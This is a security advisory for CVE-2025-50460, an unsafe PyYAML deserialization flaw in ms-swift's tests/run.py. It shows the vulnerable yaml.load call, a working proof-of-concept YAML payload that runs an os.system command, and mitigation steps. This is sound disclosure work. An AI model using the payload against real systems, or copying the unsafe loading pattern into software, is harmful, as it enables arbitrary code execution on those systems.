---
id: CVE-2025-50460
aliases:
  - GHSA-fm6c-f59h-7mmg
  - PYSEC-2026-1683
title: MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
summary: MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
severity: critical
cvss: 9.8
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'
vendor: ms-swift
product: ms-swift
ecosystem: pip
affected:
  - ms-swift <= 3.6.3
published: '2025-07-31'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-fm6c-f59h-7mmg'
references:
  - url: >-
      https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-50460'
  - url: 'https://github.com/modelscope/ms-swift/pull/5174'
  - url: >-
      https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7
  - url: 'https://github.com/Anchor0221/CVE-2025-50460'
  - url: 'https://github.com/advisories/GHSA-6757-jp84-gxfx'
  - url: 'https://github.com/modelscope/ms-swift'
  - url: 'https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420'
tags:
  - osv
  - pip
  - exploit-available
epss: 0.02473
epssPercentile: 0.83839
ingestedAt: '2026-07-08T18:25:48.938Z'
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/Anchor0221/CVE-2025-50460'
  checkedAt: '2026-09-25T08:20:45.995Z'
exploitAvailable: true
---

## Overview

## Description

A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.

If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.

## Affected Repository

- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)
- **Affect versions:** latest
- **File:** `tests/run.py`
- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
- **Dependency:** PyYAML <= 5.3.1

## Vulnerable Code

```python
if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)
```

## Proof of Concept (PoC)

### Step 1: Create malicious YAML file (`exploit.yaml`)

```yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
```

### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

```python
import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)
```

This results in execution of `os.system`, proving code execution.

## Mitigation

* Replace `yaml.load()` with `yaml.safe_load()`
* Upgrade PyYAML to version 5.4 or later

### Example Fix:

```python
# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)
```


## Author

* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
* Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*

## Affected packages

- `ms-swift <= 3.6.3`

## Remediation

Refer to the advisory for the patched release.